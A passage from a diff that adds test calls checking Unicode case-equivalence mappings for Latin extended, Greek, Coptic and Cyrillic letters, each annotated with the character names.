+test(0x022B, 0x022A); // LATIN SMALL LETTER O WITH DIAERESIS AND MACRON, LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON
+test(0x022C, 0x022D); // LATIN CAPITAL LETTER O WITH TILDE AND MACRON, LATIN SMALL LETTER O WITH TILDE AND MACRON
+test(0x022D, 0x022C); // LATIN SMALL LETTER O WITH TILDE AND MACRON, LATIN CAPITAL LETTER O WITH TILDE AND MACRON
+test(0x022E, 0x022F); // LATIN CAPITAL LETTER O WITH DOT ABOVE, LATIN SMALL LETTER O WITH DOT ABOVE
+test(0x022F, 0x022E); // LATIN SMALL LETTER O WITH DOT ABOVE, LATIN CAPITAL LETTER O WITH DOT ABOVE
+test(0x0230, 0x0231); // LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON, LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON
+test(0x0231, 0x0230); // LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON, LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON
+test(0x0232, 0x0233); // LATIN CAPITAL LETTER Y WITH MACRON, LATIN SMALL LETTER Y WITH MACRON
+test(0x0233, 0x0232); // LATIN SMALL LETTER Y WITH MACRON, LATIN CAPITAL LETTER Y WITH MACRON
+test(0x023A, 0x2C65); // LATIN CAPITAL LETTER A WITH STROKE, LATIN SMALL LETTER A WITH STROKE
+test(0x023B, 0x023C); // LATIN CAPITAL LETTER C WITH STROKE, LATIN SMALL LETTER C WITH STROKE
+test(0x023C, 0x023B); // LATIN SMALL LETTER C WITH STROKE, LATIN CAPITAL LETTER C WITH STROKE
+test(0x023D, 0x019A); // LATIN CAPITAL LETTER L WITH BAR, LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L)
+test(0x023E, 0x2C66); // LATIN CAPITAL LETTER T WITH DIAGONAL STROKE, LATIN SMALL LETTER T WITH DIAGONAL STROKE
+test(0x023F, 0x2C7E); // LATIN SMALL LETTER S WITH SWASH TAIL, LATIN CAPITAL LETTER S WITH SWASH TAIL
+test(0x0240, 0x2C7F); // LATIN SMALL LETTER Z WITH SWASH TAIL, LATIN CAPITAL LETTER Z WITH SWASH TAIL
+test(0x0241, 0x0242); // LATIN CAPITAL LETTER GLOTTAL STOP, LATIN SMALL LETTER GLOTTAL STOP
+test(0x0242, 0x0241); // LATIN SMALL LETTER GLOTTAL STOP, LATIN CAPITAL LETTER GLOTTAL STOP
+test(0x0243, 0x0180); // LATIN CAPITAL LETTER B WITH STROKE, LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR)
+test(0x0244, 0x0289); // LATIN CAPITAL LETTER U BAR, LATIN SMALL LETTER U BAR
+test(0x0245, 0x028C); // LATIN CAPITAL LETTER TURNED V, LATIN SMALL LETTER TURNED V
+test(0x0246, 0x0247); // LATIN CAPITAL LETTER E WITH STROKE, LATIN SMALL LETTER E WITH STROKE
+test(0x0247, 0x0246); // LATIN SMALL LETTER E WITH STROKE, LATIN CAPITAL LETTER E WITH STROKE
+test(0x0248, 0x0249); // LATIN CAPITAL LETTER J WITH STROKE, LATIN SMALL LETTER J WITH STROKE
+test(0x0249, 0x0248); // LATIN SMALL LETTER J WITH STROKE, LATIN CAPITAL LETTER J WITH STROKE
+test(0x024A, 0x024B); // LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL, LATIN SMALL LETTER Q WITH HOOK TAIL
+test(0x024B, 0x024A); // LATIN SMALL LETTER Q WITH HOOK TAIL, LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL
+test(0x024C, 0x024D); // LATIN CAPITAL LETTER R WITH STROKE, LATIN SMALL LETTER R WITH STROKE
+test(0x024D, 0x024C); // LATIN SMALL LETTER R WITH STROKE, LATIN CAPITAL LETTER R WITH STROKE
+test(0x024E, 0x024F); // LATIN CAPITAL LETTER Y WITH STROKE, LATIN SMALL LETTER Y WITH STROKE
+test(0x024F, 0x024E); // LATIN SMALL LETTER Y WITH STROKE, LATIN CAPITAL LETTER Y WITH STROKE
+test(0x0250, 0x2C6F); // LATIN SMALL LETTER TURNED A, LATIN CAPITAL LETTER TURNED A
+test(0x0251, 0x2C6D); // LATIN SMALL LETTER ALPHA (LATIN SMALL LETTER SCRIPT A), LATIN CAPITAL LETTER ALPHA
+test(0x0252, 0x2C70); // LATIN SMALL LETTER TURNED ALPHA (LATIN SMALL LETTER TURNED SCRIPT A), LATIN CAPITAL LETTER TURNED ALPHA
+test(0x0253, 0x0181); // LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK), LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK)
+test(0x0254, 0x0186); // LATIN SMALL LETTER OPEN O, LATIN CAPITAL LETTER OPEN O
+test(0x0256, 0x0189); // LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK), LATIN CAPITAL LETTER AFRICAN D
+test(0x0257, 0x018A); // LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK), LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK)
+test(0x0259, 0x018F); // LATIN SMALL LETTER SCHWA, LATIN CAPITAL LETTER SCHWA
+test(0x025B, 0x0190); // LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON), LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON)
+test(0x025C, 0xA7AB); // LATIN SMALL LETTER REVERSED OPEN E (LATIN SMALL LETTER REVERSED EPSILON), LATIN CAPITAL LETTER REVERSED OPEN E
+test(0x0260, 0x0193); // LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK), LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK)
+test(0x0261, 0xA7AC); // LATIN SMALL LETTER SCRIPT G, LATIN CAPITAL LETTER SCRIPT G
+test(0x0263, 0x0194); // LATIN SMALL LETTER GAMMA, LATIN CAPITAL LETTER GAMMA
+test(0x0265, 0xA78D); // LATIN SMALL LETTER TURNED H, LATIN CAPITAL LETTER TURNED H
+test(0x0266, 0xA7AA); // LATIN SMALL LETTER H WITH HOOK (LATIN SMALL LETTER H HOOK), LATIN CAPITAL LETTER H WITH HOOK
+test(0x0268, 0x0197); // LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I), LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I)
+test(0x0269, 0x0196); // LATIN SMALL LETTER IOTA, LATIN CAPITAL LETTER IOTA
+test(0x026A, 0xA7AE); // LATIN LETTER SMALL CAPITAL I, LATIN CAPITAL LETTER SMALL CAPITAL I
+test(0x026B, 0x2C62); // LATIN SMALL LETTER L WITH MIDDLE TILDE, LATIN CAPITAL LETTER L WITH MIDDLE TILDE
+test(0x026C, 0xA7AD); // LATIN SMALL LETTER L WITH BELT (LATIN SMALL LETTER L BELT), LATIN CAPITAL LETTER L WITH BELT
+test(0x026F, 0x019C); // LATIN SMALL LETTER TURNED M, LATIN CAPITAL LETTER TURNED M
+test(0x0271, 0x2C6E); // LATIN SMALL LETTER M WITH HOOK (LATIN SMALL LETTER M HOOK), LATIN CAPITAL LETTER M WITH HOOK
+test(0x0272, 0x019D); // LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK), LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK)
+test(0x0275, 0x019F); // LATIN SMALL LETTER BARRED O, LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O)
+test(0x027D, 0x2C64); // LATIN SMALL LETTER R WITH TAIL (LATIN SMALL LETTER R HOOK), LATIN CAPITAL LETTER R WITH TAIL
+test(0x0280, 0x01A6); // LATIN LETTER SMALL CAPITAL R, LATIN LETTER YR (LATIN LETTER Y R)
+test(0x0282, 0xA7C5); // LATIN SMALL LETTER S WITH HOOK (LATIN SMALL LETTER S HOOK), LATIN CAPITAL LETTER S WITH HOOK
+test(0x0283, 0x01A9); // LATIN SMALL LETTER ESH, LATIN CAPITAL LETTER ESH
+test(0x0287, 0xA7B1); // LATIN SMALL LETTER TURNED T, LATIN CAPITAL LETTER TURNED T
+test(0x0288, 0x01AE); // LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK), LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK)
+test(0x0289, 0x0244); // LATIN SMALL LETTER U BAR, LATIN CAPITAL LETTER U BAR
+test(0x028A, 0x01B1); // LATIN SMALL LETTER UPSILON, LATIN CAPITAL LETTER UPSILON
+test(0x028B, 0x01B2); // LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V), LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V)
+test(0x028C, 0x0245); // LATIN SMALL LETTER TURNED V, LATIN CAPITAL LETTER TURNED V
+test(0x0292, 0x01B7); // LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH), LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH)
+test(0x029D, 0xA7B2); // LATIN SMALL LETTER J WITH CROSSED-TAIL (LATIN SMALL LETTER CROSSED-TAIL J), LATIN CAPITAL LETTER J WITH CROSSED-TAIL
+test(0x029E, 0xA7B0); // LATIN SMALL LETTER TURNED K, LATIN CAPITAL LETTER TURNED K
+test(0x0345, 0x03B9, 0x0399, 0x1FBE); // COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK SMALL LETTER IOTA, GREEK CAPITAL LETTER IOTA, GREEK PROSGEGRAMMENI
+test(0x0370, 0x0371); // GREEK CAPITAL LETTER HETA, GREEK SMALL LETTER HETA
+test(0x0371, 0x0370); // GREEK SMALL LETTER HETA, GREEK CAPITAL LETTER HETA
+test(0x0372, 0x0373); // GREEK CAPITAL LETTER ARCHAIC SAMPI, GREEK SMALL LETTER ARCHAIC SAMPI
+test(0x0373, 0x0372); // GREEK SMALL LETTER ARCHAIC SAMPI, GREEK CAPITAL LETTER ARCHAIC SAMPI
+test(0x0376, 0x0377); // GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA, GREEK SMALL LETTER PAMPHYLIAN DIGAMMA
+test(0x0377, 0x0376); // GREEK SMALL LETTER PAMPHYLIAN DIGAMMA, GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA
+test(0x037B, 0x03FD); // GREEK SMALL REVERSED LUNATE SIGMA SYMBOL, GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL
+test(0x037C, 0x03FE); // GREEK SMALL DOTTED LUNATE SIGMA SYMBOL, GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL
+test(0x037D, 0x03FF); // GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL, GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL
+test(0x037F, 0x03F3); // GREEK CAPITAL LETTER YOT, GREEK LETTER YOT
+test(0x0386, 0x03AC); // GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS), GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS)
+test(0x0388, 0x03AD); // GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS), GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS)
+test(0x0389, 0x03AE); // GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS), GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS)
+test(0x038A, 0x03AF); // GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS), GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS)
+test(0x038C, 0x03CC); // GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS), GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS)
+test(0x038E, 0x03CD); // GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS), GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS)
+test(0x038F, 0x03CE); // GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS), GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS)
+test(0x0391, 0x03B1); // GREEK CAPITAL LETTER ALPHA, GREEK SMALL LETTER ALPHA
+test(0x0392, 0x03B2, 0x03D0); // GREEK CAPITAL LETTER BETA, GREEK SMALL LETTER BETA, GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA)
+test(0x0393, 0x03B3); // GREEK CAPITAL LETTER GAMMA, GREEK SMALL LETTER GAMMA
+test(0x0394, 0x03B4); // GREEK CAPITAL LETTER DELTA, GREEK SMALL LETTER DELTA
+test(0x0395, 0x03B5, 0x03F5); // GREEK CAPITAL LETTER EPSILON, GREEK SMALL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL
+test(0x0396, 0x03B6); // GREEK CAPITAL LETTER ZETA, GREEK SMALL LETTER ZETA
+test(0x0397, 0x03B7); // GREEK CAPITAL LETTER ETA, GREEK SMALL LETTER ETA
+test(0x0398, 0x03B8, 0x03D1, 0x03F4); // GREEK CAPITAL LETTER THETA, GREEK SMALL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK CAPITAL THETA SYMBOL
+test(0x0399, 0x03B9, 0x0345, 0x1FBE); // GREEK CAPITAL LETTER IOTA, GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK PROSGEGRAMMENI
+test(0x039A, 0x03BA, 0x03F0); // GREEK CAPITAL LETTER KAPPA, GREEK SMALL LETTER KAPPA, GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA)
+test(0x039B, 0x03BB); // GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA), GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA)
+test(0x039C, 0x03BC, 0x00B5); // GREEK CAPITAL LETTER MU, GREEK SMALL LETTER MU, MICRO SIGN
+test(0x039D, 0x03BD); // GREEK CAPITAL LETTER NU, GREEK SMALL LETTER NU
+test(0x039E, 0x03BE); // GREEK CAPITAL LETTER XI, GREEK SMALL LETTER XI
+test(0x039F, 0x03BF); // GREEK CAPITAL LETTER OMICRON, GREEK SMALL LETTER OMICRON
+test(0x03A0, 0x03C0, 0x03D6); // GREEK CAPITAL LETTER PI, GREEK SMALL LETTER PI, GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI)
+test(0x03A1, 0x03C1, 0x03F1); // GREEK CAPITAL LETTER RHO, GREEK SMALL LETTER RHO, GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO)
+test(0x03A3, 0x03C3, 0x03C2); // GREEK CAPITAL LETTER SIGMA, GREEK SMALL LETTER SIGMA, GREEK SMALL LETTER FINAL SIGMA
+test(0x03A4, 0x03C4); // GREEK CAPITAL LETTER TAU, GREEK SMALL LETTER TAU
+test(0x03A5, 0x03C5); // GREEK CAPITAL LETTER UPSILON, GREEK SMALL LETTER UPSILON
+test(0x03A6, 0x03C6, 0x03D5); // GREEK CAPITAL LETTER PHI, GREEK SMALL LETTER PHI, GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI)
+test(0x03A7, 0x03C7); // GREEK CAPITAL LETTER CHI, GREEK SMALL LETTER CHI
+test(0x03A8, 0x03C8); // GREEK CAPITAL LETTER PSI, GREEK SMALL LETTER PSI
+test(0x03A9, 0x03C9, 0x2126); // GREEK CAPITAL LETTER OMEGA, GREEK SMALL LETTER OMEGA, OHM SIGN (OHM)
+test(0x03AA, 0x03CA); // GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS), GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS)
+test(0x03AB, 0x03CB); // GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS), GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS)
+test(0x03AC, 0x0386); // GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS), GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS)
+test(0x03AD, 0x0388); // GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS), GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS)
+test(0x03AE, 0x0389); // GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS), GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS)
+test(0x03AF, 0x038A); // GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS), GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS)
+test(0x03B1, 0x0391); // GREEK SMALL LETTER ALPHA, GREEK CAPITAL LETTER ALPHA
+test(0x03B2, 0x0392, 0x03D0); // GREEK SMALL LETTER BETA, GREEK CAPITAL LETTER BETA, GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA)
+test(0x03B3, 0x0393); // GREEK SMALL LETTER GAMMA, GREEK CAPITAL LETTER GAMMA
+test(0x03B4, 0x0394); // GREEK SMALL LETTER DELTA, GREEK CAPITAL LETTER DELTA
+test(0x03B5, 0x0395, 0x03F5); // GREEK SMALL LETTER EPSILON, GREEK CAPITAL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL
+test(0x03B6, 0x0396); // GREEK SMALL LETTER ZETA, GREEK CAPITAL LETTER ZETA
+test(0x03B7, 0x0397); // GREEK SMALL LETTER ETA, GREEK CAPITAL LETTER ETA
+test(0x03B8, 0x0398, 0x03D1, 0x03F4); // GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK CAPITAL THETA SYMBOL
+test(0x03B9, 0x0345, 0x0399, 0x1FBE); // GREEK SMALL LETTER IOTA, COMBINING GREEK YPOGEGRAMMENI (GREEK NON-SPACING IOTA BELOW), GREEK CAPITAL LETTER IOTA, GREEK PROSGEGRAMMENI
+test(0x03BA, 0x039A, 0x03F0); // GREEK SMALL LETTER KAPPA, GREEK CAPITAL LETTER KAPPA, GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA)
+test(0x03BB, 0x039B); // GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA), GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA)
+test(0x03BC, 0x00B5, 0x039C); // GREEK SMALL LETTER MU, MICRO SIGN, GREEK CAPITAL LETTER MU
+test(0x03BD, 0x039D); // GREEK SMALL LETTER NU, GREEK CAPITAL LETTER NU
+test(0x03BE, 0x039E); // GREEK SMALL LETTER XI, GREEK CAPITAL LETTER XI
+test(0x03BF, 0x039F); // GREEK SMALL LETTER OMICRON, GREEK CAPITAL LETTER OMICRON
+test(0x03C0, 0x03A0, 0x03D6); // GREEK SMALL LETTER PI, GREEK CAPITAL LETTER PI, GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI)
+test(0x03C1, 0x03A1, 0x03F1); // GREEK SMALL LETTER RHO, GREEK CAPITAL LETTER RHO, GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO)
+test(0x03C2, 0x03C3, 0x03A3); // GREEK SMALL LETTER FINAL SIGMA, GREEK SMALL LETTER SIGMA, GREEK CAPITAL LETTER SIGMA
+test(0x03C3, 0x03A3, 0x03C2); // GREEK SMALL LETTER SIGMA, GREEK CAPITAL LETTER SIGMA, GREEK SMALL LETTER FINAL SIGMA
+test(0x03C4, 0x03A4); // GREEK SMALL LETTER TAU, GREEK CAPITAL LETTER TAU
+test(0x03C5, 0x03A5); // GREEK SMALL LETTER UPSILON, GREEK CAPITAL LETTER UPSILON
+test(0x03C6, 0x03A6, 0x03D5); // GREEK SMALL LETTER PHI, GREEK CAPITAL LETTER PHI, GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI)
+test(0x03C7, 0x03A7); // GREEK SMALL LETTER CHI, GREEK CAPITAL LETTER CHI
+test(0x03C8, 0x03A8); // GREEK SMALL LETTER PSI, GREEK CAPITAL LETTER PSI
+test(0x03C9, 0x03A9, 0x2126); // GREEK SMALL LETTER OMEGA, GREEK CAPITAL LETTER OMEGA, OHM SIGN (OHM)
+test(0x03CA, 0x03AA); // GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS), GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS)
+test(0x03CB, 0x03AB); // GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS), GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS)
+test(0x03CC, 0x038C); // GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS), GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS)
+test(0x03CD, 0x038E); // GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS), GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS)
+test(0x03CE, 0x038F); // GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS), GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS)
+test(0x03CF, 0x03D7); // GREEK CAPITAL KAI SYMBOL, GREEK KAI SYMBOL
+test(0x03D0, 0x03B2, 0x0392); // GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA), GREEK SMALL LETTER BETA, GREEK CAPITAL LETTER BETA
+test(0x03D1, 0x03B8, 0x0398, 0x03F4); // GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA), GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK CAPITAL THETA SYMBOL
+test(0x03D5, 0x03C6, 0x03A6); // GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI), GREEK SMALL LETTER PHI, GREEK CAPITAL LETTER PHI
+test(0x03D6, 0x03C0, 0x03A0); // GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI), GREEK SMALL LETTER PI, GREEK CAPITAL LETTER PI
+test(0x03D7, 0x03CF); // GREEK KAI SYMBOL, GREEK CAPITAL KAI SYMBOL
+test(0x03D8, 0x03D9); // GREEK LETTER ARCHAIC KOPPA, GREEK SMALL LETTER ARCHAIC KOPPA
+test(0x03D9, 0x03D8); // GREEK SMALL LETTER ARCHAIC KOPPA, GREEK LETTER ARCHAIC KOPPA
+test(0x03DA, 0x03DB); // GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA), GREEK SMALL LETTER STIGMA
+test(0x03DB, 0x03DA); // GREEK SMALL LETTER STIGMA, GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA)
+test(0x03DC, 0x03DD); // GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA), GREEK SMALL LETTER DIGAMMA
+test(0x03DD, 0x03DC); // GREEK SMALL LETTER DIGAMMA, GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA)
+test(0x03DE, 0x03DF); // GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA), GREEK SMALL LETTER KOPPA
+test(0x03DF, 0x03DE); // GREEK SMALL LETTER KOPPA, GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA)
+test(0x03E0, 0x03E1); // GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI), GREEK SMALL LETTER SAMPI
+test(0x03E1, 0x03E0); // GREEK SMALL LETTER SAMPI, GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI)
+test(0x03E2, 0x03E3); // COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI), COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI)
+test(0x03E3, 0x03E2); // COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI), COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI)
+test(0x03E4, 0x03E5); // COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI), COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI)
+test(0x03E5, 0x03E4); // COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI), COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI)
+test(0x03E6, 0x03E7); // COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI), COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI)
+test(0x03E7, 0x03E6); // COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI), COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI)
+test(0x03E8, 0x03E9); // COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI), COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI)
+test(0x03E9, 0x03E8); // COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI), COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI)
+test(0x03EA, 0x03EB); // COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA), COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA)
+test(0x03EB, 0x03EA); // COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA), COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA)
+test(0x03EC, 0x03ED); // COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA), COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA)
+test(0x03ED, 0x03EC); // COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA), COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA)
+test(0x03EE, 0x03EF); // COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI), COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI)
+test(0x03EF, 0x03EE); // COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI), COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI)
+test(0x03F0, 0x03BA, 0x039A); // GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA), GREEK SMALL LETTER KAPPA, GREEK CAPITAL LETTER KAPPA
+test(0x03F1, 0x03C1, 0x03A1); // GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO), GREEK SMALL LETTER RHO, GREEK CAPITAL LETTER RHO
+test(0x03F2, 0x03F9); // GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA), GREEK CAPITAL LUNATE SIGMA SYMBOL
+test(0x03F3, 0x037F); // GREEK LETTER YOT, GREEK CAPITAL LETTER YOT
+test(0x03F4, 0x03B8, 0x0398, 0x03D1); // GREEK CAPITAL THETA SYMBOL, GREEK SMALL LETTER THETA, GREEK CAPITAL LETTER THETA, GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA)
+test(0x03F5, 0x03B5, 0x0395); // GREEK LUNATE EPSILON SYMBOL, GREEK SMALL LETTER EPSILON, GREEK CAPITAL LETTER EPSILON
+test(0x03F7, 0x03F8); // GREEK CAPITAL LETTER SHO, GREEK SMALL LETTER SHO
+test(0x03F8, 0x03F7); // GREEK SMALL LETTER SHO, GREEK CAPITAL LETTER SHO
+test(0x03F9, 0x03F2); // GREEK CAPITAL LUNATE SIGMA SYMBOL, GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA)
+test(0x03FA, 0x03FB); // GREEK CAPITAL LETTER SAN, GREEK SMALL LETTER SAN
+test(0x03FB, 0x03FA); // GREEK SMALL LETTER SAN, GREEK CAPITAL LETTER SAN
+test(0x03FD, 0x037B); // GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL, GREEK SMALL REVERSED LUNATE SIGMA SYMBOL
+test(0x03FE, 0x037C); // GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL, GREEK SMALL DOTTED LUNATE SIGMA SYMBOL
+test(0x03FF, 0x037D); // GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL, GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL
+test(0x0400, 0x0450); // CYRILLIC CAPITAL LETTER IE WITH GRAVE, CYRILLIC SMALL LETTER IE WITH GRAVE
+test(0x0401, 0x0451); // CYRILLIC CAPITAL LETTER IO, CYRILLIC SMALL LETTER IO
+test(0x0402, 0x0452); // CYRILLIC CAPITAL LETTER DJE, CYRILLIC SMALL LETTER DJE
